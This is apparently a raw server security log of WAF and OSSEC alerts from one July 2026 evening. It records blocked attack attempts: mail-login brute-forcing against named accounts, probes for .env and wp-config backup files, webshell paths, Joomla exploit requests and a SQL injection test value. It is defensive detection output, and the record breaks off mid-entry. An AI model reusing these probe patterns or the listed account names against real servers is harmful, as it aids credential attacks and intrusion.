# incident

plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.246.77.93
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/773764823 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 147.235.219.142
country_id: 294640
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/312526890 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-11 16:50:47 dovecot_login authenticator failed for H=(89-68-245-7.dynamic.play.pl) [200.106.49.149]:56414: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-11 16:51:13 dovecot_login authenticator failed for H=([113.193.187.154]) [116.98.104.138]:60608: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-11 16:51:35 dovecot_login authenticator failed for H=([218.156.93.202]) [103.176.160.146]:33592: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77281328
name: IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)
abuser: 144.225.203.202
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)||MVN:ARGS:plugin||MV:helix3||RF:/en/||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-11 16:53:26 dovecot_login authenticator failed for H=(l37-193-85-193.novotelecom.ru) [123.212.9.122]:39187: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 45.157.112.52
country_id: 3017382
domain: idealloanz.com.au
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.28||T:APACHE||MVN:ARGS:data[0][value]||SC:/home/idealloanzcom/public_html/contact||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.244.93.35
country_id: 6251999
description:
2026-07-11 16:54:38 dovecot_login authenticator failed for H=dhcp-4-bc-9f-5c-cc-61.cpe.i-zoom.net (108-90-216-10.lightspeed.rcsntx.sbcglobal.net) [24.244.93.35]:46769: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-11 16:53:56 dovecot_login authenticator failed for H=([59.23.3.146]) [112.161.42.97]:45029: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 85.237.212.35
country_id: 798544
domain: idealloanz.com.au
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.28||T:APACHE||MVN:ARGS:data[3][value]||SC:/home/idealloanzcom/public_html/contact||


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 45.157.112.52
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.28||T:APACHE||MVN:ARGS:data[0][value]||SC:/home/cochinbigbandsho/public_html/contact-us||


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 85.237.212.94
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.28||T:APACHE||MVN:ARGS:jform[name]||SC:/home/cochinbigbandsho/public_html/component||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.199
country_id: 337996
description:
2026-07-11 16:58:37 dovecot_login authenticator failed for H=([123.116.141.82]) [196.190.220.199]:34898: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-11 16:58:51 dovecot_login authenticator failed for H=([70.166.167.59]) [203.252.10.3]:27339: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2.27.165.115
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:join_table||MV:(SELECT '9753197531' AS lab_gate)||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 80.94.95.173
country_id: 798549
domain: jaashsupplies.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:16-59.80.94.95.173||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.3
country_id: 99237
description:
2026-07-11 16:59:01 dovecot_login authenticator failed for H=(static-200-105-141-161.acelerate.net) [65.20.138.3]:44241: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-11 16:59:12 dovecot_login authenticator failed for H=(mail.tataidc.com) [207.254.29.22]:51043: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.174.49
country_id: 99237
description:
2026-07-11 16:59:28 dovecot_login authenticator failed for H=([49.124.151.22]) [65.20.174.49]:40415: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.252.93.114
country_id: 1269750
description:
2026-07-11 17:01:31 dovecot_login authenticator failed for H=([113.53.251.101]) [117.252.93.114]:39189: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.99.52.202
country_id: 1835841
description:
2026-07-11 17:01:47 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [222.99.52.202]:53792: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.150.32.164
country_id: 1522867
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/blog/index.html HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-11 17:07:29 dovecot_login authenticator failed for H=([36.92.41.116]) [65.20.217.64]:52059: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-11 17:07:55 dovecot_login authenticator failed for H=([49.124.151.76]) [64.72.74.162]:54684: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-11 17:12:55 dovecot_login authenticator failed for H=ns1.sinergi.net.id (253.pool90-160-113.dynamic.orange.es) [223.25.108.2]:43210: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.9.176
country_id: 6252001
description:
2026-07-11 17:17:14 dovecot_login authenticator failed for H=([49.125.203.167]) [70.120.9.176]:50073: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.85
country_id: 1733045
description:
2026-07-11 17:18:04 dovecot_login authenticator failed for H=(c-76-132-238-43.hsd1.ca.comcast.net) [49.124.151.85]:42930: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-11 17:24:26 dovecot_login authenticator failed for H=([174.75.211.196]) [210.5.117.238]:49830: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 198.186.130.10
country_id: 2921044
domain: ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:ibmcglobal||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-11 17:26:44 dovecot_login authenticator failed for H=([175.200.217.128]) [114.30.223.119]:45127: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-11 17:26:57 dovecot_login authenticator failed for H=([111.39.206.23]) [65.20.217.64]:47859: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-11 17:27:23 dovecot_login authenticator failed for H=([111.171.127.190]) [103.67.152.201]:54194: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-11 17:29:10 dovecot_login authenticator failed for H=([149.54.51.74]) [50.231.243.28]:44084: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-11 17:29:28 dovecot_login authenticator failed for H=(22.69.85.194.in-addr.arpa) [94.16.17.139]:53660: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.52
country_id: 1668284
description:
2026-07-11 17:31:27 dovecot_login authenticator failed for H=110-25-109-52.adsl.fetnet.net (111-70-32-6.emome-ip.hinet.net) [110.25.109.52]:36503: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 23.27.116.225
country_id: 1880251
domain: gsmex.global
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:180065||Sizes:25||Combined size:25||User:gsmex||WPU:||Filename:cox.txt||Scanned:/tmp//20260711-173316-alIxBItL0Z1LnJhz7iaNOwAAAE8-file-jj1qWJ||SC:/home/gsmex/public_html/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-11 17:33:05 dovecot_login authenticator failed for H=([49.124.155.177]) [102.210.148.41]:51178: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.180
country_id: 99237
description:
2026-07-11 17:35:36 dovecot_login authenticator failed for H=([182.79.95.152]) [65.20.250.180]:37691: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.35.129.132
country_id: 6252001
description:
2026-07-11 17:35:21 dovecot_login authenticator failed for H=pool-108-35-129-132.nwrknj.fios.verizon.net ([46.163.189.191]) [108.35.129.132]:39960: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.45.237.7
country_id: 6252001
domain: interceptorglobal.in
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:interceptorgloba||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.90.195
country_id: 2661886
description:
2026-07-11 17:37:52 dovecot_login authenticator failed for H=h79-138-90-195.cust.bredband2.com ([49.124.149.54]) [79.138.90.195]:49884: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-11 17:40:56 dovecot_login authenticator failed for H=(95-165-159-70.static.spd-mgts.ru) [218.248.19.102]:42562: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-11 17:41:20 dovecot_login authenticator failed for H=([49.125.201.78]) [203.192.211.180]:55452: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.87.123
country_id: 1512440
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/acoustic-treatments HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 45.76.76.63
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:skuyaceww.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-11 17:55:49 dovecot_login authenticator failed for H=([59.8.114.177]) [182.73.109.194]:58716: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.48
country_id: 1733045
description:
2026-07-11 17:56:17 dovecot_login authenticator failed for H=(27.49.156.220.rev.iijmobile.jp) [49.124.149.48]:59576: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-11 17:56:38 dovecot_login authenticator failed for H=([23.30.11.253]) [103.168.241.32]:58727: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-11 17:56:36 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [74.195.53.129]:58738: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-11 17:56:00 dovecot_login authenticator failed for H=([121.173.245.152]) [182.78.65.154]:59572: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-07-11 17:56:55 dovecot_login authenticator failed for H=([69.176.171.169]) [85.152.57.60]:40018: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-11 17:57:15 dovecot_login authenticator failed for H=([36.37.181.181]) [103.55.89.5]:39816: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.45
country_id: 99237
description:
2026-07-11 18:02:39 dovecot_login authenticator failed for H=([192.111.138.28]) [65.20.143.45]:52999: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-11 18:03:01 dovecot_login authenticator failed for H=([49.124.153.2]) [41.215.125.250]:50976: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.45.237.192
country_id: 6252001
domain: apkmetal.in
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:apkmetals||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.119.10.128
country_id: 2328926
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/tx-nr696-7-2-channel-network-a-v-receiver?Itemid=101&catid=18 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 c\xc3\xa2y c\xc3\xa0 ph\xc3\xaa (<a href=\"https://ucenterhome2.dzarchive.dev/space.php?uid=29109&do=blog&id=45757\">https://ucenterhome2.dzarchive.dev/space.php?uid=29109&do=blog&id=45757</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.61.159.91
country_id: 2264397
description:
2026-07-11 18:12:26 dovecot_login authenticator failed for H=91.159.61.94.rev.vodafone.pt ([49.124.159.197]) [94.61.159.91]:42364: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-11 18:12:37 dovecot_login authenticator failed for H=([72.206.74.97]) [183.82.56.12]:54760: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.bookmarkin.club/story.php?title=htx-khuyen-nong-4\">Chi ti\xe1\xba\xbft t\xe1\xba\xa1i \xc4\x91\xc3\xa2y</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 79.127.132.189
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-11 18:22:38 dovecot_login authenticator failed for H=([220.179.255.54]) [210.118.224.138]:38414: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-11 18:23:33 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com ([153.37.177.219]) [90.230.115.5]:56334: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 46.253.131.126
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://xtcialis.com\">order generic levitra details</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 77.68.87.67
country_id: 2635167
description:
[2026-07-11 18:27:56 +0530] info [whostmgrd] 77.68.87.67 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.68.87.67
country_id: 2635167
description:
[2026-07-11 18:27:57 +0530] info [whostmgrd] 77.68.87.67 - root "GET /cpsess9099404623/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-11 18:31:48 dovecot_login authenticator failed for H=([149.54.51.82]) [122.186.249.6]:38994: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 178.210.187.26
country_id: 3277605
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 Continue... [<a href=\"https://forum.ici-cn.com/proxy.php?link=http://shopinfo.com.ua/proxy.php?link=https://exyuiptv.org/blog/a1-balkan-tv-paket-2026/\">forum.ici-cn.com</a>] (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 200.10.37.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://money.mymotherlode.com/clarkebroadcasting.mymotherlode/article/abnewswire-2026-4-9-paver-cleaning-services-enhance-outdoor-surface-maintenance-by-paver-cleaning-and-sealing-pros-of-dix-hills-in-dix-hills-new-york/\">Paver Cleaning</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-11 18:45:50 dovecot_login authenticator failed for H=([49.124.149.47]) [182.95.109.138]:33574: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.197.174
country_id: 1269750
description:
2026-07-11 18:47:36 dovecot_plain authenticator failed for H=(ophyped) [152.52.197.174]:51580: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-11 18:48:28 dovecot_login authenticator failed for H=(abts-north-dynamic-59.213.66.182.airtelbroadband.in) [119.198.191.180]:36714: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-11 18:51:57 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [122.169.40.221]:46154: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-07-11 18:53:42 dovecot_login authenticator failed for H=([176.57.76.206]) [140.130.98.240]:40821: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-11 18:53:30 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au ([45.191.91.81]) [210.0.90.82]:54942: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-11 18:53:09 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com ([107.181.168.150]) [90.230.212.29]:38150: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-11 18:59:48 dovecot_login authenticator failed for H=(nsg-corporate-113.177.186.122.airtel.in) [119.192.249.195]:43170: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 91.92.242.143
country_id: 2750405
domain: vrishenterprises.in
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.28||T:APACHE||REQUEST_URI:/wp1/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.82
country_id: 1733045
description:
2026-07-11 19:03:42 dovecot_login authenticator failed for H=([218.156.8.97]) [49.124.151.82]:60840: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-11 19:05:46 dovecot_login authenticator failed for H=([199.102.105.241]) [101.13.4.124]:55810: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.132.130.228
country_id: 1522867
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/our-clients HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-11 19:08:21 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-11 19:17:14 dovecot_login authenticator failed for H=(188-122-37-97.xdsl.5gdsl.com) [193.46.192.20]:53651: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.207.93
country_id: 1269750
description:
2026-07-11 19:22:13 dovecot_login authenticator failed for H=([1.223.239.36]) [122.169.207.93]:4246: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-11 19:22:36 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com (ip-104-200-152-25.hosts.zerolag.com) [90.230.115.5]:41102: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-11 19:23:25 dovecot_login authenticator failed for H=([125.139.87.30]) [117.211.15.93]:54446: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-11 19:24:08 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [182.95.106.138]:42732: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 185.177.72.58
country_id: 3017382
domain: 103.185.74.189
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/api/.env.production||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 185.177.72.58
country_id: 3017382
domain: 103.185.74.189
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/config.php||SC:/var/www/html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.33.117
country_id: 1269750
description:
2026-07-11 19:28:22 dovecot_login authenticator failed for H=(activox.static.gvt.net.br) [163.61.33.117]:40032: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.177.72.58
country_id: 3017382
domain: 103.185.74.189
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup/wp-config.bak||User:root||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 185.177.72.58
country_id: 3017382
domain: 103.185.74.189
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/backup/wp-config.bak||RSV:8.28||T:APACHE||REQUEST_URI:/backup/wp-config.bak||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 193.148.56.61
country_id: 732800
domain: cochinbigbandshow.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icozosobq/fonts/fnmdqof.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.9.53.196
country_id: 6252001
description:
2026-07-11 19:31:39 dovecot_login authenticator failed for H=(144.46.246.220.static.netvigator.com) [170.9.53.196]:34350: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.117.155.41
country_id: 1269750
description:
2026-07-11 19:34:44 dovecot_login authenticator failed for H=(host-93-177-157-179.customer.magticom.ge) [103.117.155.41]:38714: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-07-11 19:34:56 dovecot_login authenticator failed for H=89-253-90-113.customers.ownit.se ([223.82.97.51]) [89.253.90.113]:49545: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.11.161
country_id: 1835841
description:
2026-07-11 19:36:21 dovecot_login authenticator failed for H=(835403.cloudwaysapps.com) [112.184.11.161]:41677: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.120.115.152
country_id: 1819730
description:
